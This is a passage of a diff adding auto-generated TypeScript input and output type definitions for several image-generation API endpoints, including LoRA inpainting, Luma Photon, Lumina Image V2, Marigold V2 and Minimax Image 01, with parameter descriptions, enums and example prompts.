@default 1 + * @type number | undefined + */ + conditioning_scale?: number + /** + * @description The optional variant if a Hugging Face repo key is used. + */ + variant?: string | null +} + +export const inputFalAiLoraInpaintPredictionTypeEnum = { + v_prediction: 'v_prediction', + epsilon: 'epsilon', +} as const + +export type InputFalAiLoraInpaintPredictionTypeEnumKey = + (typeof inputFalAiLoraInpaintPredictionTypeEnum)[keyof typeof inputFalAiLoraInpaintPredictionTypeEnum] + +export const inputFalAiLoraInpaintScheduler = { + 'DPM++ 2M': 'DPM++ 2M', + 'DPM++ 2M Karras': 'DPM++ 2M Karras', + 'DPM++ 2M SDE': 'DPM++ 2M SDE', + 'DPM++ 2M SDE Karras': 'DPM++ 2M SDE Karras', + Euler: 'Euler', + 'Euler A': 'Euler A', + 'Euler (trailing timesteps)': 'Euler (trailing timesteps)', + LCM: 'LCM', + 'LCM (trailing timesteps)': 'LCM (trailing timesteps)', + DDIM: 'DDIM', + TCD: 'TCD', +} as const + +export type InputFalAiLoraInpaintSchedulerKey = + (typeof inputFalAiLoraInpaintScheduler)[keyof typeof inputFalAiLoraInpaintScheduler] + +export const inputFalAiLoraInpaintImageFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiLoraInpaintImageFormatEnumKey = + (typeof inputFalAiLoraInpaintImageFormatEnum)[keyof typeof inputFalAiLoraInpaintImageFormatEnum] + +export type InputFalAiLoraInpaint = { + /** + * @description + * Increasing the amount of steps tells Stable Diffusion that it should take more steps + * to generate your final result which can increase the amount of detail in your image. + * + * @minimum 1 + * @maximum 150 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description + * The negative prompt to use.Use it to address details that you don't want + * in the image. This could be colors, objects, scenery and even the small details + * (e.g. moustache, blurry, low resolution). + * + * @default '' + * @example cartoon, painting, illustration, worst quality, low quality, normal quality + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Subfolder containing the image encoder weights in image_encoder_path. + */ + image_encoder_subfolder?: string | null + /** + * @description + * The embeddings to use for the image generation. Only a single embedding is supported at the moment. + * The embeddings will be used to map the tokens in the prompt to the embedding weights. + * + * @default [] + * @type array | undefined + */ + embeddings?: Embedding05933389[] + /** + * @description + * Skips part of the image generation process, leading to slightly different results. + * This means the image renders faster, too. + * + * @minimum 0 + * @maximum 2 + * @default 0 + * @type integer | undefined + */ + clip_skip?: number + /** + * @description The prompt to use for generating the image. Be as descriptive as possible for best results. + * @example Photo of a european medieval 40 year old queen, silver hair, highly detailed face, detailed eyes, head shot, intricate crown, age spots, wrinkles + * @example Photo of a classic red mustang car parked in las vegas strip at night + * @type string + */ + prompt: string + /** + * @description + * The type of prediction to use for the image generation. + * The `epsilon` is the default. + * + * @default 'epsilon' + * @type string | undefined + */ + prediction_type?: InputFalAiLoraInpaintPredictionTypeEnumKey + /** + * @description The stride of the tiles to be used for the image generation. + * @minimum 64 + * @maximum 2048 + * @default 2048 + * @type integer | undefined + */ + tile_stride_height?: number + /** + * @description The stride of the tiles to be used for the image generation. + * @minimum 64 + * @maximum 2048 + * @default 2048 + * @type integer | undefined + */ + tile_stride_width?: number + /** + * @description The variant of the model to use for huggingface models, e.g. 'fp16'. + */ + variant?: string | null + /** + * @description + * The weight name of the image encoder model to use for the image generation. + * + * @default pytorch_model.bin + * @example pytorch_model.bin + */ + image_encoder_weight_name?: string | null + /** + * @description The size of the tiles to be used for the image generation. + * @minimum 128 + * @maximum 4096 + * @default 4096 + * @type integer | undefined + */ + tile_width?: number + /** + * @description + * Number of images to generate in one request. Note that the higher the batch size, + * the longer it will take to generate the images. + * + * @minimum 1 + * @maximum 8 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description + * The same seed and the same prompt given to the same version of Stable Diffusion + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The size of the tiles to be used for the image generation. + * @minimum 128 + * @maximum 4096 + * @default 4096 + * @type integer | undefined + */ + tile_height?: number + /** + * @description The eta value to be used for the image generation. + * @minimum 0 + * @maximum 1 + * @default 0 + * @type number | undefined + */ + eta?: number + /** + * @description + * The URL of the IC Light model image to use for the image generation. + * + */ + ic_light_image_url?: string | null + /** + * @description Hugging Face ID or HTTPS URL of the image encoder; required when ip_adapter is non-empty. Choose an encoder compatible with the IP-Adapter weights. For h94/IP-Adapter SDXL weights, use h94/IP-Adapter with image_encoder_subfolder='sdxl_models/image_encoder'; for SD1.5 weights, use image_encoder_subfolder='models/image_encoder'. + */ + image_encoder_path?: string | null + /** + * @description The amount of noise to add to noise image for image. Only used if the image_url is provided. 1.0 is complete noise and values near 0 are minimal noise. + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + noise_strength?: number + /** + * @description URL or HuggingFace ID of the custom U-Net model to use for the image generation. + */ + unet_name?: string | null + /** + * @description If set to true, the safety checker will be enabled. + * @default false + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If set to true, the latents will be saved for debugging. + * @default false + * @type boolean | undefined + */ + debug_latents?: boolean + /** + * @description URL of black-and-white image to use as mask during inpainting. + */ + mask_url?: string | null + /** + * @description + * If set to true, the controlnet will be applied to only the conditional predictions. + * + * @default false + * @type boolean | undefined + */ + controlnet_guess_mode?: boolean + /** + * @description + * The LoRAs to use for the image generation. You can use any number of LoRAs + * and they will be merged together to generate the final image. + * + * @default [] + * @type array | undefined + */ + loras?: LoraWeight8Bdaad14[] + /** + * @description IP adapters for image generation. A non-empty list requires image_encoder_path. + * @default [] + * @type array | undefined + */ + ip_adapter?: IPAdapterAe6A1B3A[] + /** + * @description + * Optionally override the sigmas to use for the denoising process. Only works with schedulers which support the `sigmas` argument in their `set_sigmas` method. + * Defaults to not overriding, in which case the scheduler automatically sets the sigmas based on the `num_inference_steps` parameter. + * If set to a custom sigma schedule, the `num_inference_steps` parameter will be ignored. Cannot be set if `timesteps` is set. + * + * @default {"array":[],"method":"default"} + * @type object | undefined + */ + sigmas?: SigmasInput + /** + * @description + * If set to true, the prompt weighting syntax will be used. + * Additionally, this will lift the 77 token limit by averaging embeddings. + * + * @default false + * @example true + * @type boolean | undefined + */ + prompt_weighting?: boolean + /** + * @description + * The URL of the IC Light model to use for the image generation. + * + */ + ic_light_model_url?: string | null + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 20 + * @default 7.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Scheduler / sampler to use for the image denoising process. + */ + scheduler?: InputFalAiLoraInpaintSchedulerKey | null + /** + * @description If set to true, the latents will be saved for debugging per pass. + * @default false + * @type boolean | undefined + */ + debug_per_pass_latents?: boolean + /** + * @description + * Optionally override the timesteps to use for the denoising process. Only works with schedulers which support the `timesteps` argument in their `set_timesteps` method. + * Defaults to not overriding, in which case the scheduler automatically sets the timesteps based on the `num_inference_steps` parameter. + * If set to a custom timestep schedule, the `num_inference_steps` parameter will be ignored. Cannot be set if `sigmas` is set. + * + * @default {"array":[],"method":"default"} + * @type object | undefined + */ + timesteps?: TimestepsInput + /** + * @description + * Whether to set the rescale_betas_snr_zero option or not for the sampler + * + * @default false + * @type boolean | undefined + */ + rescale_betas_snr_zero?: boolean + /** + * @description The format of the generated image. + * @default 'png' + * @example jpeg + * @type string | undefined + */ + image_format?: InputFalAiLoraInpaintImageFormatEnumKey + /** + * @description + * The URL of the IC Light model background image to use for the image generation. + * Make sure to use a background compatible with the model. + * + */ + ic_light_model_background_image_url?: string | null + /** + * @description + * The control nets to use for the image generation. You can use any number of control nets + * and they will be applied to the image at the specified timesteps. + * + * @default [] + * @type array | undefined + */ + controlnets?: ControlNet0Bb0Ccd8[] + /** + * @description URL of image to use for image to image/inpainting. + */ + image_url?: string | null + /** + * @description URL or HuggingFace ID of the base model to generate the image. + * @example stabilityai/stable-diffusion-xl-base-1.0 + * @example runwayml/stable-diffusion-v1-5 + * @example SG161222/Realistic_Vision_V2.0 + * @type string + */ + model_name: string +} + +export type FileCac69Ac2 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageBc00C4D3 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiLoraInpaint = { + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The latents saved for debugging per pass. + */ + debug_per_pass_latents: FileCac69Ac2 | null + /** + * @description The generated image files info. + * @type array + */ + images: ImageBc00C4D3[] + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The latents saved for debugging. + */ + debug_latents: FileCac69Ac2 | null +} + +export const inputFalAiLumaPhotonAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', + '4:3': '4:3', + '3:4': '3:4', + '21:9': '21:9', + '9:21': '9:21', +} as const + +export type InputFalAiLumaPhotonAspectRatioEnumKey = + (typeof inputFalAiLumaPhotonAspectRatioEnum)[keyof typeof inputFalAiLumaPhotonAspectRatioEnum] + +export type InputFalAiLumaPhoton = { + /** + * @minLength 3 + * @maxLength 5000 + * @example A teddy bear in sunglasses playing electric guitar and dancing + * @type string + */ + prompt: string + /** + * @description The aspect ratio of the generated video + * @default '1:1' + * @type string | undefined + */ + aspect_ratio?: InputFalAiLumaPhotonAspectRatioEnumKey + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File88097B3E = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiLumaPhoton = { + /** + * @description The generated image + * @type array + */ + images: File88097B3E[] +} + +export const inputFalAiLumaPhotonFlashAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', + '4:3': '4:3', + '3:4': '3:4', + '21:9': '21:9', + '9:21': '9:21', +} as const + +export type InputFalAiLumaPhotonFlashAspectRatioEnumKey = + (typeof inputFalAiLumaPhotonFlashAspectRatioEnum)[keyof typeof inputFalAiLumaPhotonFlashAspectRatioEnum] + +export type InputFalAiLumaPhotonFlash = { + /** + * @minLength 3 + * @maxLength 5000 + * @example A teddy bear in sunglasses playing electric guitar and dancing + * @type string + */ + prompt: string + /** + * @description The aspect ratio of the generated video + * @default '1:1' + * @type string | undefined + */ + aspect_ratio?: InputFalAiLumaPhotonFlashAspectRatioEnumKey + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File2C234C3F = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiLumaPhotonFlash = { + /** + * @description The generated image + * @type array + */ + images: File2C234C3F[] +} + +export const inputFalAiLumaPhotonFlashModifyAspectRatioEnum = { + '1:1': '1:1', + '16:9': '16:9', + '9:16': '9:16', + '4:3': '4:3', + '3:4': '3:4', + '21:9': '21:9', + '9:21': '9:21', +} as const + +export type InputFalAiLumaPhotonFlashModifyAspectRatioEnumKey = + (typeof inputFalAiLumaPhotonFlashModifyAspectRatioEnum)[keyof typeof inputFalAiLumaPhotonFlashModifyAspectRatioEnum] + +export type InputFalAiLumaPhotonFlashModify = { + /** + * @description Instruction for modifying the image + * @example Make the image look like a painting + */ + prompt?: string | null + /** + * @description The strength of the initial image. Higher strength values are corresponding to more influence of the initial image on the output. + * @minimum 0 + * @maximum 1 + * @example 0.8 + * @type number + */ + strength: number + /** + * @description The aspect ratio of the reframed image + * @example 16:9 + * @type string + */ + aspect_ratio: InputFalAiLumaPhotonFlashModifyAspectRatioEnumKey + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description URL of the input image to reframe + * @example https://storage.googleapis.com/falserverless/gallery/example_inputs_liuyifei.png + * @type string + */ + image_url: string +} + +export type File1F89Bb38 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiLumaPhotonFlashModify = { + /** + * @description The generated image + * @type array + */ + images: File1F89Bb38[] +} + +export const inputFalAiLumaPhotonFlashReframeAspectRatioEnum = { + '1:1': '1:1', + '16:9': '16:9', + '9:16': '9:16', + '4:3': '4:3', + '3:4': '3:4', + '21:9': '21:9', + '9:21': '9:21', +} as const + +export type InputFalAiLumaPhotonFlashReframeAspectRatioEnumKey = + (typeof inputFalAiLumaPhotonFlashReframeAspectRatioEnum)[keyof typeof inputFalAiLumaPhotonFlashReframeAspectRatioEnum] + +export type InputFalAiLumaPhotonFlashReframe = { + /** + * @description Optional prompt for reframing + */ + prompt?: string | null + /** + * @description X position of the grid for reframing + */ + grid_position_x?: number | null + /** + * @description End Y coordinate for reframing + */ + y_end?: number | null + /** + * @description URL of the input image to reframe + * @example https://storage.googleapis.com/falserverless/gallery/example_inputs_liuyifei.png + * @type string + */ + image_url: string + /** + * @description The aspect ratio of the reframed image + * @example 16:9 + * @type string + */ + aspect_ratio: InputFalAiLumaPhotonFlashReframeAspectRatioEnumKey + /** + * @description Y position of the grid for reframing + */ + grid_position_y?: number | null + /** + * @description End X coordinate for reframing + */ + x_end?: number | null + /** + * @description Start X coordinate for reframing + */ + x_start?: number | null + /** + * @description Start Y coordinate for reframing + */ + y_start?: number | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileEc507Bd6 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiLumaPhotonFlashReframe = { + /** + * @description The generated image + * @type array + */ + images: FileEc507Bd6[] +} + +export const inputFalAiLumaPhotonModifyAspectRatioEnum = { + '1:1': '1:1', + '16:9': '16:9', + '9:16': '9:16', + '4:3': '4:3', + '3:4': '3:4', + '21:9': '21:9', + '9:21': '9:21', +} as const + +export type InputFalAiLumaPhotonModifyAspectRatioEnumKey = + (typeof inputFalAiLumaPhotonModifyAspectRatioEnum)[keyof typeof inputFalAiLumaPhotonModifyAspectRatioEnum] + +export type InputFalAiLumaPhotonModify = { + /** + * @description Instruction for modifying the image + * @example Make the image look like a painting + */ + prompt?: string | null + /** + * @description The strength of the initial image. Higher strength values are corresponding to more influence of the initial image on the output. + * @minimum 0 + * @maximum 1 + * @example 0.8 + * @type number + */ + strength: number + /** + * @description The aspect ratio of the reframed image + * @example 16:9 + * @type string + */ + aspect_ratio: InputFalAiLumaPhotonModifyAspectRatioEnumKey + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description URL of the input image to reframe + * @example https://storage.googleapis.com/falserverless/gallery/example_inputs_liuyifei.png + * @type string + */ + image_url: string +} + +export type File076C510B = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiLumaPhotonModify = { + /** + * @description The generated image + * @type array + */ + images: File076C510B[] +} + +export const inputFalAiLumaPhotonReframeAspectRatioEnum = { + '1:1': '1:1', + '16:9': '16:9', + '9:16': '9:16', + '4:3': '4:3', + '3:4': '3:4', + '21:9': '21:9', + '9:21': '9:21', +} as const + +export type InputFalAiLumaPhotonReframeAspectRatioEnumKey = + (typeof inputFalAiLumaPhotonReframeAspectRatioEnum)[keyof typeof inputFalAiLumaPhotonReframeAspectRatioEnum] + +export type InputFalAiLumaPhotonReframe = { + /** + * @description Optional prompt for reframing + */ + prompt?: string | null + /** + * @description X position of the grid for reframing + */ + grid_position_x?: number | null + /** + * @description End Y coordinate for reframing + */ + y_end?: number | null + /** + * @description URL of the input image to reframe + * @example https://storage.googleapis.com/falserverless/gallery/example_inputs_liuyifei.png + * @type string + */ + image_url: string + /** + * @description The aspect ratio of the reframed image + * @example 16:9 + * @type string + */ + aspect_ratio: InputFalAiLumaPhotonReframeAspectRatioEnumKey + /** + * @description Y position of the grid for reframing + */ + grid_position_y?: number | null + /** + * @description End X coordinate for reframing + */ + x_end?: number | null + /** + * @description Start X coordinate for reframing + */ + x_start?: number | null + /** + * @description Start Y coordinate for reframing + */ + y_start?: number | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileE4141Abf = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiLumaPhotonReframe = { + /** + * @description The generated image + * @type array + */ + images: FileE4141Abf[] +} + +export type ImageSize2B70D691 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiLuminaImageV2ImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiLuminaImageV2ImageSizeKey = + (typeof inputFalAiLuminaImageV2ImageSize)[keyof typeof inputFalAiLuminaImageV2ImageSize] + +export const inputFalAiLuminaImageV2OutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiLuminaImageV2OutputFormatEnumKey = + (typeof inputFalAiLuminaImageV2OutputFormatEnum)[keyof typeof inputFalAiLuminaImageV2OutputFormatEnum] + +export type InputFalAiLuminaImageV2 = { + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description + * The negative prompt to use. Use it to address details that you don't want + * in the image. This could be colors, objects, scenery and even the small details + * (e.g. moustache, blurry, low resolution). + * + * @default '' + * @example + * @type string | undefined + */ + negative_prompt?: string + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The ratio of the timestep interval to apply normalization-based guidance scale. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + cfg_trunc_ratio?: number + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The prompt to generate an image from. + * @example A vibrant and artistic digital composition featuring colorful splashes of paint in the background, creating an energetic and dynamic effect. The text 'Lumina on Fal' is elegantly integrated into the scene, standing out with a modern, bold, and slightly futuristic font. The colors are bright and varied, including neon blues, purples, pinks, and oranges, blending seamlessly in a fluid, abstract style. The text appears slightly illuminated, complementing the vivid splashes around it. + * @type string + */ + prompt: string + /** + * @description The size of the generated image. + * @default landscape_4_3 + */ + image_size?: ImageSize2B70D691 | InputFalAiLuminaImageV2ImageSizeKey + /** + * @description Whether to apply normalization-based guidance scale. + * @default true + * @type boolean | undefined + */ + cfg_normalization?: boolean + /** + * @description The system prompt to use. + * @default 'You are an assistant designed to generate superior images with the superior degree of image-text alignment based on textual prompts or user prompts.' + * @type string | undefined + */ + system_prompt?: string + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 20 + * @default 4 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiLuminaImageV2OutputFormatEnumKey + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image655813De = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiLuminaImageV2 = { + timings: { + [key: string]: number + } + /** + * @description The generated images + * @example [{"content_type":"image/jpeg","height":768,"width":1024,"url":"https://v3.fal.media/files/rabbit/pBwaEZysJhnstKWEHGpLc.png"}] + * @type array + */ + images: Image655813De[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export type ImageSizeDd3F5Fcc = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiMarigoldV2ImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiMarigoldV2ImageSizeKey = + (typeof inputFalAiMarigoldV2ImageSize)[keyof typeof inputFalAiMarigoldV2ImageSize] + +export const inputFalAiMarigoldV2PredictionTypeEnum = { + depth: 'depth', + 'see-through-depth': 'see-through-depth', + normals: 'normals', + albedo: 'albedo', +} as const + +export type InputFalAiMarigoldV2PredictionTypeEnumKey = + (typeof inputFalAiMarigoldV2PredictionTypeEnum)[keyof typeof inputFalAiMarigoldV2PredictionTypeEnum] + +export type InputFalAiMarigoldV2 = { + /** + * @description Random seed. Only affects the VAE encoder's latent sampling (the forward pass itself is a single deterministic step); the same seed and image reproduce the same output. + */ + seed?: number | null + /** + * @description Inference size as an explicit `{width, height}` object or a preset string (e.g. `"square_hd"`, `"landscape_4_3"`). Both dimensions must be multiples of 16 and no larger than 2048 pixels on either side, with an aspect ratio between 1:16 and 16:1. Defaults to the input image's dimensions rounded to the nearest multiple of 16. + * @example {"height":512,"width":512} + */ + image_size?: ImageSizeDd3F5Fcc | InputFalAiMarigoldV2ImageSizeKey | null + /** + * @description Prediction map to generate. + * @default 'depth' + * @type string | undefined + */ + prediction_type?: InputFalAiMarigoldV2PredictionTypeEnumKey + /** + * @description Input image url. + * @example https://storage.googleapis.com/falserverless/example_inputs/dog.png + * @type string + */ + image_url: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image2799Ecf9 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiMarigoldV2 = { + /** + * @description PNG visualization of the endpoint prediction. This is a viewable image, not a lossless numeric tensor. + * @type object + */ + image: Image2799Ecf9 + /** + * @description The seed used for the VAE encoder's latent sampling. + * @type integer + */ + seed: number +} + +export const inputFalAiMinimaxImage01AspectRatioEnum = { + '1:1': '1:1', + '16:9': '16:9', + '4:3': '4:3', + '3:2': '3:2', + '2:3': '2:3', + '3:4': '3:4', + '9:16': '9:16', + '21:9': '21:9', +} as const + +export type InputFalAiMinimaxImage01AspectRatioEnumKey = + (typeof inputFalAiMinimaxImage01AspectRatioEnum)[keyof typeof inputFalAiMinimaxImage01AspectRatioEnum] + +export type InputFalAiMinimaxImage01 = { + /** + * @description Whether to enable automatic prompt optimization + * @default false + * @type boolean | undefined + */ + prompt_optimizer?: boolean + /** + * @description Text prompt for image generation (max 1500 characters) + * @minLength 1 + * @maxLength 1500 + * @example Man dressed in white t shirt, full-body stand front view image, outdoor, Venice beach sign, full-body image, Los Angeles, Fashion photography of 90s, documentary, Film grain, photorealistic + * @type string + */ + prompt: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Number of images to generate (1-9) + * @minimum 1 + * @maximum 9 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Aspect ratio of the generated image + * @default '1:1' + * @type string | undefined + */ + aspect_ratio?: InputFalAiMinimaxImage01AspectRatioEnumKey +} + +export type File9423C9A5 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiMinimaxImage01 = { + /** + * @description Generated images + * @example [{"file_name":"image.jpg","url":"https://v3.fal.media/files/tiger/xLcblZAbiw1kM6ZR_2D-r_image.jpg","file_size":351366,"content_type":"image/jpeg"}] + * @type array + */ + images: File9423C9A5[] +} + +export const inputFalAiMinimaxImage01SubjectReferenceAspectRatioEnum = { + '1:1': '1:1', + '16:9': '16:9', + '4:3': '4:3', + '3:2': '3:2', + '2:3': '2:3', + '3:4': '3:4', + '9:16': '9:16', + '21:9': '21:9', +} as const + +export type InputFalAiMinimaxImage01SubjectReferenceAspectRatioEnumKey = + (typeof inputFalAiMinimaxImage01SubjectReferenceAspectRatioEnum)[keyof typeof inputFalAiMinimaxImage01SubjectReferenceAspectRatioEnum] + +export type InputFalAiMinimaxImage01SubjectReference = { + /** + * @description URL of the subject reference image to use for consistent character appearance + * @example https://v3.fal.media/files/koala/hQwSnkWm8FDjou5SwLNuX_c223cf93-0036-4b18-bbea-bf6d0da7f210.png + * @type string + */ + image_url: string + /** + * @description Whether to enable automatic prompt optimization + * @default false + * @type boolean | undefined + */ + prompt_optimizer?: boolean + /** + * @description Text prompt for image generation (max 1500 characters) + * @minLength 1 + * @maxLength 1500 + * @example A beautiful woman with a crown on her head. + * @type string + */ + prompt: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Number of images to generate (1-9) + * @minimum 1 + * @maximum 9 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Aspect ratio of the generated image + * @default '1:1' + * @type string | undefined + */ + aspect_ratio?: InputFalAiMinimaxImage01SubjectReferenceAspectRatioEnumKey +} + +export type File0987727E = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiMinimaxImage01SubjectReference = { + /** + * @description Generated images + * @example [{"file_name":"image.jpg","url":"https://v3.fal.media/files/lion/1bfHvTwZGzK59EYAi2OG7_image.jpg","file_size":239709,"content_type":"image/jpeg"}] + * @type array + */ + images: File0987727E[] +} + +export const inputFalAiMoondreamNextDetectionTaskTypeEnum = { + bbox_detection: 'bbox_detection', + point_detection: 'point_detection', + gaze_detection: 'gaze_detection', +} as const + +export type InputFalAiMoondreamNextDetectionTaskTypeEnumKey = + (typeof 